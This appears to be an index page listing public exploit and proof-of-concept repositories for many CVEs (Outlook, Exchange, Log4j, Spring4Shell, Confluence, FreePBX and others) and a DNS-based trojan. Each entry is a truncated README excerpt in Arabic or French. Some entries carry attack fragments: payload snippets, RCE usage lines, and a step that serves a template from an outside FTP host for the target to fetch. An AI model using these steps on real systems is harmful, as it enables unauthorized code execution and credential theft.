Moniker-Link-CVE-2024-21413

🛡️ Moniker Link CVE-2024-21413 الغرفة: Moniker Link CVE-2024-21413 — TryHackMe الحالة: ✅ مكتمل التاريخ: 30 مايو 2025 🎯 الهدف فهم واستغلال CVE-2024-21413، وهي ثغرة أمنية في Microsoft Outlook تتجاوز Protected View باستخدام Moniker Links لتسريب بيانات اعتماد NTLM. تعلّم كيفية تنفيذ الهجوم واكتشافه أو...

CVE-2019-7238

CVE-2019-7238 Nexus Repository Manager RCE Nexus Repository Manager 3 تنفيذ التعليمات البرمجية عن بعد بدون مصادقة nexus حول إظهار الأوامر: functionx, y, z, c, integer, defineClass c=1.class.forName'java.lang.Character'; integer=1.class;...

CVE-2014-6271-Apache-Debian

CVE-2014-6271-Apache-Debian نظرة عامة هذا المستودع هو بيئة إثبات المفهوم PoC لـ CVE-2014-6271. يمكنك نشر خدمة ويب تحتوي على الثغرة باستخدام صورة حاوية apache2. التحضير بناء الصورة بناء الصورة غير الآمنة من Dockerfile. docker build -t cve-2014-6271-apache-debian:buster ./insecure-base-image/ docke...

OMIGOD_cve-2021-38647

OMIGODcve-2021-38647 CVE-2021-38647 est une vulnérabilité RCE non authentifiée affectant l'agent OMI en tant que root. Lors de l'exécution du payload Changez HOST Commande :Remplacez votre commande par Commande ici. tels que id, whoami, etc. Crédits https://github.com/horizon3ai/CVE-2021-38647...

CVE-2023-43208-mirth-connect-rce-poc

ثغرة تنفيذ الأوامر عن بُعد في Mirth Connect CVE-2023-37679 وCVE-2023-43208 تمت كتابة هذا السكربت الاستغلالي وPoC لإجراء تحليل متعمق لثغرة CVE على vsociety. CVE-2023-43208 هو عيب أمني خطير في NextGen Mirth Connect، وهي أداة تستخدمها المستشفيات والعيادات لمشاركة بيانات المرضى. يتيح هذا العيب...

cve-2020-0688

cve-2020-0688 الاستخدام: usage: cve-2020-0688.py -h -s SERVER -u USER -p PASSWORD -c CMD optional arguments: -h, --help show this help message and exit -s SERVER, --server SERVER ECP Server URL Example: http://ip/owa -u USER, --user USER login account Example: domain\user -p PASSWORD, --password...

CVE-2022-22965-Spring4Shell

Spring4Shell إثبات المفهوم PoC لثغرة Spring4Shell CVE-2022-22965 مع خادم Tomcat ضعيف وتطبيق Spring4Shell ضعيف. تفاصيل حول هذه الثغرة https://websecured.io/blog/624411cf775ad17d72274d16/spring4shell-poc https://www.springcloud.io/post/2022-03/spring-0day-vulnerability...

log4j-shell-csw

استغلال Log4j بسيط استغلال لإثبات المفهوم لثغرة CVE-2021-44228. Log4j، الذي يُستخدم لتسجيل معلومات الأمان والأداء، يؤثر على أكثر من 3 مليارات جهاز يستخدم Java عبر مجموعة متنوعة من الخدمات الاستهلاكية والمؤسسية والمواقع والتطبيقات، بالإضافة إلى الأجهزة الطبية والأنظمة الداعمة. ملاحظة: هذا ليس...

CVE-2021-24499

CVE-2021-24499 استغلال واسع النطاق لثغرة CVE-2021-24499: رفع ملفات دون مصادقة يؤدي إلى تنفيذ تعليمات برمجية عن بُعد في قالب Workreap. لم تُجرِ إجراءات AJAX workreapawardtempfileuploader وworkreaptempfileuploader فحوصات nonce، كما لم تتحقق من أن الطلب صادر عن مستخدم صالح بأي طريقة أخرى. سمحت نقاط...

CVE-2026-5027

هذا المنشور مقال بحثي نشر بواسطة EQSTLab. شكرًا لـYahia Hamza، الذي أبلغ عن هذه الثغرة وحللها. CVE-2026-5027 ★ CVE-2026-5027 Langflow Path Traversal / Arbitrary File Write PoC ★ الوصف CVE-2026-5027 : ثغرة الكتابة التعسفية للملفات في Langflow الوصف: ثغرة اجتياز المسار في Langflow قشرة عكسية عبر مه...

Issabel-PBX-4.0.0-RCE-Authenticated

Issabel PBX 4.0.0 تنفيذ الأوامر عن بُعد بعد المصادقة - CVE-2024-0986 الوصف/الملخص يسمح Issabel PBX 4.0.0 للمستخدم المُسجَّل الدخول باستخدام وحدة التحكم asteriskcli لإنشاء ملفات بأوامر xmldoc و dump. وهذا يسمح بتنفيذ أوامر عن بُعد بناءً على اسم الملفات المُحمَّلة باستغلال ملف restore.php. يعتمد هذ...

CVE-2021-26855

CVE-2021-26855-PoC Code d'exploitation PoC pour CVE-2021-26855. Le code original a été développé par https://github.com/GreyOrder. Le dépôt d'origine a été supprimé peu après l'ajout de fonctionnalités supplémentaires énumération d'utilisateurs, etc.. Veuillez soumettre une pull request, si vous...

CVE-2024-21546

CVE-2024-21546 Python Exploit 🔥 الوصف هذا النص البرمجي الاستغلالي بلغة Python يستهدف مدير ملفات Laravel الضعيف الذي أنشأته UniSharp ، والذي يسمح للمستخدمين الموثَّقين بتجاوز قيود الملفات ورفع ملفات ضارة. يمكن أن يؤدي ذلك إلى تنفيذ التعليمات البرمجية عن بُعد RCE عند تشغيل الحمولة المرفوعة. يقوم ال...

FreePBX-CVE-2025-57819-CVE-2025-61678

FreePBX-CVE-2025-57819-CVE-2025-61678 Combine CVE-2025-57819 injection SQL par requête empilée et CVE-2025-61678 téléchargement de fichier authentifié dans FreePBX Endpoint Manager pour réaliser une exécution de code à distance RCE. Pour usage éducatif uniquement. Références :...

CVE-2022-24638

كما شوهد على EXPLOITDB: https://www.exploit-db.com/exploits/51026 هذه النسخة مُصححة لمنع النتائج السلبية الخاطئة CVE-2022-24637 استغلال لثغرة RCE غير المصادق عليها في Open Web Analytics OWA 1.7.4. هذا العمل مبني على https://devel0pment.de/?p=2494. إخلاء مسؤولية: هذا النص البرمجي مصمم لتدقيق أمن...

dnschan

dnschan هذا حصان طروادة يعمل عبر DNS. يمكنك: إدارة عدة عملاء ببطء شديد رفع الملفات جلب ملفات من الويب تشغيل العمليات...

CVE-2019-3396_EXP

CVE-2019-3396EXP CVE-2019-3396 confluence SSTI RCE 1、ضع cmd.vm على موقعك يجب استخدام ftp أو https؛ http لا يعمل 2、عدّل RCEexp.py، وغيّر السطر: filename = 'ftp://1.1.1.1/cmd.vm' python -m pyftpdlib -p 21 3、شغّل: python RECexp.py http://test.wikitest.cc:8080 "whoami" $ python RECexp.py...

CVE-2022-41828

CVE-2022-41828 تنفيذ التعليمات البرمجية عن بعد في برنامج تشغيل Amazon AWS Redshift JDBC RCE برنامج تشغيل Amazon JDBC لـ Redshift هو برنامج تشغيل JDBC من النوع 4 يوفر الاتصال بقاعدة البيانات عبر واجهات برمجة تطبيقات JDBC القياسية المتاحة في منصة Java Enterprise Editions. يوفر البرنامج الوصول إلى...

CVE-2025-54253-Exploit-Demo

🚨 CVE-2025-54253 – Adobe AEM Forms on JEE: حقن OGNL لتحقيق RCE 🔎 نظرة عامة CVE-2025-54253 هي ثغرة حرجة من نوع حقن OGNL في Adobe AEM Forms على JEE. تسمح للمهاجمين غير المصادقين بتنفيذ أوامر نظام تشغيل عشوائية عبر نقطة النهاية /adminui/debug?debug=OGNL:. الخطورة: حرجة درجة CVSS: 9.8 قيد الانتظار نا...

CVE-2018-11235-Git-Submodule-CE

CVE-2018-11235-Git-Submodule-CE CVE-2018-11235-Git PoC السحب من Docker docker pull qweraqq/cve-2018-11235-git-submodule-rce تشغيل خادم Git HTTP docker run -d -p 8080:80 qweraqq/cve-2018-11235-git-submodule-rce PoC git clone --recurse-submodules http://git.gitserver/malicious.git...